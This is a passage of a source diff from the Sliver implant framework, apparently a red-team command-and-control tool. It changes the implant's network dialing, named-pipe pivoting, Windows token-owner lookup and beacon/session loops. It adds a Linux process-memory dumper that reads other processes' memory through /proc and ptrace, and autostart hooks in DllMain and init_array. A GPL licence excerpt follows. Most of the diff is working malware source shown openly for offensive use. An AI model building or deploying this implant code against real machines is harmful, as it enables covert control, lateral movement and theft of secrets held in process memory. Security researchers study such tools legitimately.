-				addrsV4 = append(addrsV4, net.IP(a.A[:]))
+				addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
 
 			case dnsmessage.TypeAAAA:
 				aaaa, err := result.p.AAAAResource()
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
+				addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
 
 			default:
 				if err := result.p.SkipAnswer(); err != nil {
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		}
 	}
 	// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
-	var addrs []net.IP
+	var addrs []netip.Addr
 	if tnet.hasV6 {
 		addrs = append(addrsV6, addrsV4...)
 	} else {
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
 	return now.Add(timeout), nil
 }
 
+var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
+
 func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
 	if ctx == nil {
 		panic("nil context")
 	}
-	var acceptV4, acceptV6, useUDP bool
-	if len(network) == 3 {
+	var acceptV4, acceptV6 bool
+	matches := protoSplitter.FindStringSubmatch(network)
+	if matches == nil {
+		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
+	} else if len(matches[2]) == 0 {
 		acceptV4 = true
 		acceptV6 = true
-	} else if len(network) == 4 {
-		acceptV4 = network[3] == '4'
-		acceptV6 = network[3] == '6'
+	} else {
+		acceptV4 = matches[2][0] == '4'
+		acceptV6 = !acceptV4
 	}
-	if !acceptV4 && !acceptV6 {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	if network[:3] == "udp" {
-		useUDP = true
-	} else if network[:3] != "tcp" {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	host, sport, err := net.SplitHostPort(address)
-	if err != nil {
-		return nil, &net.OpError{Op: "dial", Err: err}
-	}
-	port, err := strconv.Atoi(sport)
-	if err != nil || port < 0 || port > 65535 {
-		return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+	var host string
+	var port int
+	if matches[1] == "ping" {
+		host = address
+	} else {
+		var sport string
+		var err error
+		host, sport, err = net.SplitHostPort(address)
+		if err != nil {
+			return nil, &net.OpError{Op: "dial", Err: err}
+		}
+		port, err = strconv.Atoi(sport)
+		if err != nil || port < 0 || port > 65535 {
+			return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+		}
 	}
 	allAddr, err := tnet.LookupContextHost(ctx, host)
 	if err != nil {
 		return nil, &net.OpError{Op: "dial", Err: err}
 	}
-	var addrs []net.IP
+	var addrs []netip.AddrPort
 	for _, addr := range allAddr {
-		if strings.IndexByte(addr, ':') != -1 && acceptV6 {
-			addrs = append(addrs, net.ParseIP(addr))
-		} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
-			addrs = append(addrs, net.ParseIP(addr))
+		ip, err := netip.ParseAddr(addr)
+		if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
+			addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
 		}
 	}
 	if len(addrs) == 0 && len(allAddr) != 0 {
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
 		}
 
 		var c net.Conn
-		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
-		} else {
-			c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
+		switch matches[1] {
+		case "tcp":
+			c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
+		case "udp":
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
+		case "ping":
+			c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
 		}
 		if err == nil {
 			return c, nil

implant/sliver/pivots/named-pipe_windows.go

@@ -19,6 +19,7 @@ package pivots
 */
 
 import (
+	"strings"
 	"sync"
 	"time"
 
@@ -37,7 +38,7 @@ var (
 
 // CreateNamedPipePivotListener - Starts a named pipe listener
 func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
-	fullName := "\\\\.\\pipe\\" + address
+	fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
 	ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
 		//SecurityDescriptor: "",
 		RemoteClientMode: true,

implant/sliver/pivots/pivots.go

@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
 	}
 }
 
-// Start - Starts the TCP pivot connection handler
+// Start - Starts the pivot connection handler
 func (p *NetConnPivot) Start(pivots *sync.Map) {
 	defer func() {
 		p.conn.Close()

implant/sliver/priv/priv_windows.go

@@ -1,3 +1,4 @@
+//go:build windows
 // +build windows
 
 package priv
@@ -595,3 +596,29 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	return privInfo, integrity, processName, nil
 }
+
+// CurrentTokenOwner returns the current thread's token owner
+func CurrentTokenOwner() (string, error) {
+	currToken := CurrentToken
+	// when the windows.Handle is zero (no impersonation), future method calls
+	// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
+	// actual handle
+	if currToken == 0 {
+		currToken = windows.GetCurrentProcessToken()
+	}
+	return TokenOwner(currToken)
+}
+
+// TokenOwner will resolve the primary token or thread owner of the given
+// handle
+func TokenOwner(hToken windows.Token) (string, error) {
+	tokenUser, err := hToken.GetTokenUser()
+	if err != nil {
+		return "", err
+	}
+	user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
+	if err != nil {
+		return "", err
+	}
+	return fmt.Sprintf(`%s\%s`, domain, user), err
+}

implant/sliver/procdump/dump_linux.go

@@ -2,9 +2,21 @@
 
 package procdump
 
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+	"regexp"
+	"runtime"
+	"strconv"
+	"strings"
+	"syscall"
+)
+
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022 Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -20,6 +32,28 @@ package procdump
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+// A struct to hold information about each region of memory
+type MemoryRegion struct {
+	// Start address of the region
+	start uint64
+
+	// End address of the region
+	end uint64
+
+	/*
+		Flag that indicates if this region is mapped to a file
+		on disk. Currently, we are only dumping regions that
+		are not backed by a file on disk.
+	*/
+	isFile bool
+	
+	// File name - only populated if isFile is true
+	fileName string
+}
+
+// A regex for each line of /proc/<PID>/maps
+var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
+
 // LinuxDump - Structure implementing the ProcessDump
 // interface for linux processes
 type LinuxDump struct {
@@ -31,7 +65,293 @@ func (d *LinuxDump) Data() []byte {
 	return d.data
 }
 
+/*
+	Map out the application's memory using /proc/<pid>/maps
+
+	Map format:
+	    (1)          (2)      (3)    (4)     (5)   (6)                             (7)
+	7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445                    /usr/share/mime/mime.cache
+
+	1: Start address of the memory region
+	2: End address of the memory region
+	3: Permissions (rwx) and p/s (p=private, s=shared)
+	4: Offset (offset in bytes into the file, field 7): This is only relevant to files
+	5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
+	6: inode on the device
+	7: Filename (empty if the mapping is not a file)
+*/
+
+func parseMap(mapLine string) *MemoryRegion {
+	regionInformation := mapLineModel.FindStringSubmatch(mapLine)
+	
+	if regionInformation == nil {
+		// No match
+		return nil
+	}
+
+	if strings.HasPrefix(regionInformation[3], "r") {
+		// This section of memory is readable, and we will return it
+		
+		/*
+			There is a bug in how ptrace reads the vvar region of memory,
+			see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
+
+			The vvar region is for shared kernel variables
+
+			If this is vvar, then skip it so that we do not run into errors
+			due to it later
+
+			In testing, other regions reserved by the kernel proved problematic,
+			namely vdso and vsyscall. Those regions likely do not contain any
+			sensitive information, so they can be skipped.
+		*/
+		if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
+			return nil
+		}
+
+		memRegion := MemoryRegion{}
+		regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		memRegion.start = regionStart
+
+		regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		
+		memRegion.end = regionEnd
+
+		if regionInformation[4] == "00:00" {
+			// Then this is not a file
+			memRegion.isFile = false
+			memRegion.fileName = ""
+		} else {
+			memRegion.isFile = true
+			memRegion.fileName = regionInformation[5]
+		}
+		return &memRegion
+	}
+	
+	return nil
+}
+
+/* 
+	Create a map of the process' memory from /proc/<PID>/maps
+	Return: a slice of MemoryRegions, number of bytes represented by the map
+*/
+func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
+	maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
+
+	if err != nil {
+		// Could not open the map
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
+	}
+
+	defer maps.Close()
+
+	var memorySize uint64 = 0
+	var completeMemoryMap []*MemoryRegion
+
+	buffer := bufio.NewReader(maps)
+	line, err := buffer.ReadString('\n')
+
+	// Keep reading until we hit an error
+	for err == nil {
+		memoryMapInfo := parseMap(strings.TrimSpace(line))
+		// Only concerned about regions not backed by a file on disk
+		if memoryMapInfo != nil && !memoryMapInfo.isFile {
+			completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
+			memorySize += memoryMapInfo.end - memoryMapInfo.start
+		}
+		// Read the next line
+		line, err = buffer.ReadString('\n')
+	}
+
+	// End of file is OK - anything else is not.
+	if err != nil && err != io.EOF {
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
+	}
+
+	return completeMemoryMap, memorySize, nil
+}
+
+func checkPermissions() (bool, error) {
+	/*
+		Check to see if we are root.
+		According to the proc man page, we need root unless the process has the dumpable flag.
+		Unless it becomes necessary to check for the dumpable flag, we will keep things simple
+		and require root.
+	*/
+	if currentUID := os.Getuid(); currentUID != 0 {
+		return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
+	}
+
+	/*
+		Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
+		(dumping process memory does not work with a ptrace_scope value of 3)
+
+		Yama was merged in kernel 3.4
+
+		If reading the value fails, it might be because it is not there. Should not be a permissions
+		issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
+	*/
+	ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
+	if err != nil {
+		// Even if we get an error here, we should try to read process memory anyway.
+		return true, nil
+	}
+
+	if strings.TrimSpace(string(ptrace_scope)) == "3" {
+		return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
+	}
+	
+	return true, nil
+}
+
+func isOldKernelVersion() bool {
+	kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
+
+	/*
+		/proc/sys/kernel/osrelease has the version number of the kernel
+		If it is less than 3.3, you can only read memory from the process by attaching
+		to it with ptrace
+	*/
+	kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
+	if err != nil {
+		/*
+			If this does not exist or is not readable, use the ptrace method
+			since that should work for all kernels (assuming we have the
+			correct permissions which we will check)
+		*/
+		return true
+	}
+
+	majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
+
+	if majorMinorKVer == nil {
+		// The kernel version did not match the expected format, use the ptrace method
+		return true
+	}
+
+	majorKVer, err := strconv.Atoi(majorMinorKVer[1])
+	if err != nil {
+		// Unable to determine kernel version so use the ptrace method to be safe
+		return true
+	}
+	
+	if majorKVer > 3 {
+		// We can read directly from /proc/pid/mem on 4.x+ kernels
+		return false
+	} else if majorKVer == 3 {
+		minorKVer, err := strconv.Atoi(majorMinorKVer[2])
+		if err != nil {
+			// Unable to determine the minor kernel version, so use the ptrace method to be safe
+			return true
+		}
+
+		if minorKVer >= 3 {
+			// We can read directly from /proc/pid/mem starting with kernel 3.3
+			return false
+		} else {
+			return true
+		}
+	} else {
+		// If the kernel version is 2.x or lower, we have to use ptrace
+		return true
+	}
+}
+
 func dumpProcess(pid int32) (ProcessDump, error) {
 	res := &LinuxDump{}
+
+	usePTrace := isOldKernelVersion()
+
+	permissionsOK, err := checkPermissions()
+	
+	if !permissionsOK || err != nil {
+		return res, err
+	}
+
+	processRegions, dumpSize, err := createMemoryMap(pid)
+	if err != nil {
+		return res, err
+	}
+
+	// Create a buffer to put the memory
+	res.data = make([]byte, dumpSize)
+
+	currentDumpOffset := 0
+
+	if usePTrace {
+		// Attach to the process using ptrace
+		proc, err := os.FindProcess(int(pid))
+		if err != nil {
+			// Then the process does not exist
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
+		}
+		runtime.LockOSThread()
+		defer runtime.UnlockOSThread()
+
+		err = syscall.PtraceAttach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
+		}
+
+		_, err = proc.Wait()
+		
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
+		}
+
+		// Read the memory, region by region
+		for _, region := range(processRegions) {
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
+			if err != nil {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+		
+		// Do not forget to detach when we are done
+		// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
+		err = syscall.Kill(int(pid), syscall.SIGCONT)
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
+		}
+
+		err = syscall.PtraceDetach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
+		}
+		
+	} else {
+		// Open the memory "file"
+		processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
+
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
+		}
+
+		defer processMemory.Close()
+
+		for _, region := range(processRegions) {
+			/*
+				Figure out the size of the memory region to read so we know how big of
+				a slice to cut from the buffer
+			*/
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
+			if err != nil && err != io.EOF {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+	}
+
 	return res, nil
 }

implant/sliver/sliver.c

@@ -1,6 +1,7 @@
 #include "sliver.h"
 
 #ifdef __WIN32
+#include <windows.h>
 
 DWORD WINAPI Start()
 {
@@ -18,13 +19,13 @@ BOOL WINAPI DllMain(
     case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
-    {
-        // {{if .Config.IsSharedLib}}
-        HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
-        // CreateThread() because otherwise DllMain() is highly likely to deadlock.
-        // {{end}}
-    }
-    break;
+        {
+            // {{if .Config.RunAtLoad}}
+            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
+            HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
+            // {{end}}
+        }
+        break;
     case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
         break;
@@ -46,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
 {
     unsetenv("LD_PRELOAD");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
 #elif __APPLE__
@@ -57,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
 {
     unsetenv("DYLD_INSERT_LIBRARIES");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 
 #endif

implant/sliver/sliver.go

@@ -82,10 +82,10 @@ func init() {
 	buf := make([]byte, 8)
 	n, err := rand.Read(buf)
 	if err != nil || n != len(buf) {
-		binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
+		insecureRand.Seed(time.Now().Unix())
+	} else {
+		insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
 	}
-	insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
-
 	id, err := uuid.NewV4()
 	if err != nil {
 		buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 	for {
 		select {
 		default:
-			abort := make(chan struct{})
-			connections := transports.StartConnectionLoop(c2Servers, abort)
-			for connection := range connections {
-				if connection == nil {
-					break
-				}
-				err := sessionMainLoop(connection)
-				if err != nil {
-					connectionErrors++
-					if transports.GetMaxConnectionErrors() < connectionErrors {
-						return
-					}
-				}
-				reconnect := transports.GetReconnectInterval()
-				// {{if .Config.Debug}}
-				log.Printf("Reconnect sleep: %s", reconnect)
-				// {{end}}
-				time.Sleep(reconnect)
-			}
+			// {{if .Config.IsBeacon}}
+			beaconStartup()
+			// {{else}}
+			sessionStartup()
+			// {{end}}
 		case c := <-r:
 			switch c.Cmd {
 			case svc.Interrogate:
@@ -199,7 +185,16 @@ func main() {
 	// {{else}}
 
 	// {{if .Config.IsBeacon}}
+	beaconStartup()
+	// {{else}} ------- IsBeacon/IsSession -------
+	sessionStartup()
+	// {{end}}
 
+	// {{end}} ------- IsService -------
+}
+
+// {{if .Config.IsBeacon}}
+func beaconStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
 	// {{end}}
@@ -227,9 +222,11 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
+}
 
-	// {{else}} ------- IsBeacon/IsSession -------
+// {{else}}
 
+func sessionStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in session mode")
 	// {{end}}
@@ -254,11 +251,10 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
-	// {{end}}
-
-	// {{end}}
 }
 
+// {{end}}
+
 // {{if .Config.IsBeacon}}
 func beaconMainLoop(beacon *transports.Beacon) error {
 	// Register beacon
@@ -311,16 +307,23 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 	// until all tasks complete (in success or failure), if a task handler blocks
 	// forever it will simply block this set of tasks instead of the entire beacon
 	errors := make(chan error)
+	shortCircuit := make(chan struct{})
 	for {
 		duration := beacon.Duration()
 		nextCheckin = time.Now().Add(duration)
 		go func() {
+			oldInterval := beacon.Interval()
 			err := beaconMain(beacon, nextCheckin)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[beacon] main error: %v", nextCheckin)
 				// {{end}}
 				errors <- err
+			} else if oldInterval != beacon.Interval() {
+				// The beacon's interval was modified so we need to short circuit
+				// the current sleep and tell the server when the next checkin will
+				// be based on the new interval.
+				shortCircuit <- struct{}{}
 			}
 		}()
 
@@ -331,6 +334,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		case <-errors:
 			return err
 		case <-time.After(duration):
+		case <-shortCircuit:
+			// Short circuit current duration with no error
 		}
 	}
 	return nil

implant/sliver/transports/beacon.go

@@ -30,8 +30,6 @@ import (
 	"net/url"
 	"time"
 
-	"strconv"
-
 	// {{if .Config.MTLSc2Enabled}}
 	"crypto/tls"
 
@@ -52,6 +50,10 @@ import (
 
 	// {{end}}
 
+	// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
+	"strconv"
+	// {{end}}
+
 	// {{if .Config.DNSc2Enabled}}
 
 	"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -86,20 +88,12 @@ type Beacon struct {
 
 // Interval - Interval between beacons
 func (b *Beacon) Interval() int64 {
-	interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
-	if err != nil {
-		interval = int64(30 * time.Second)
-	}
-	return int64(interval)
+	return GetInterval()
 }
 
 // Jitter - Jitter between beacons
 func (b *Beacon) Jitter() int64 {
-	jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
-	if err != nil {
-		jitter = int64(30 * time.Second)
-	}
-	return int64(jitter)
+	return GetJitter()
 }
 
 // Duration - Interval + random value <= Jitter

implant/sliver/transports/httpclient/drivers/win/LICENSE.txt

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
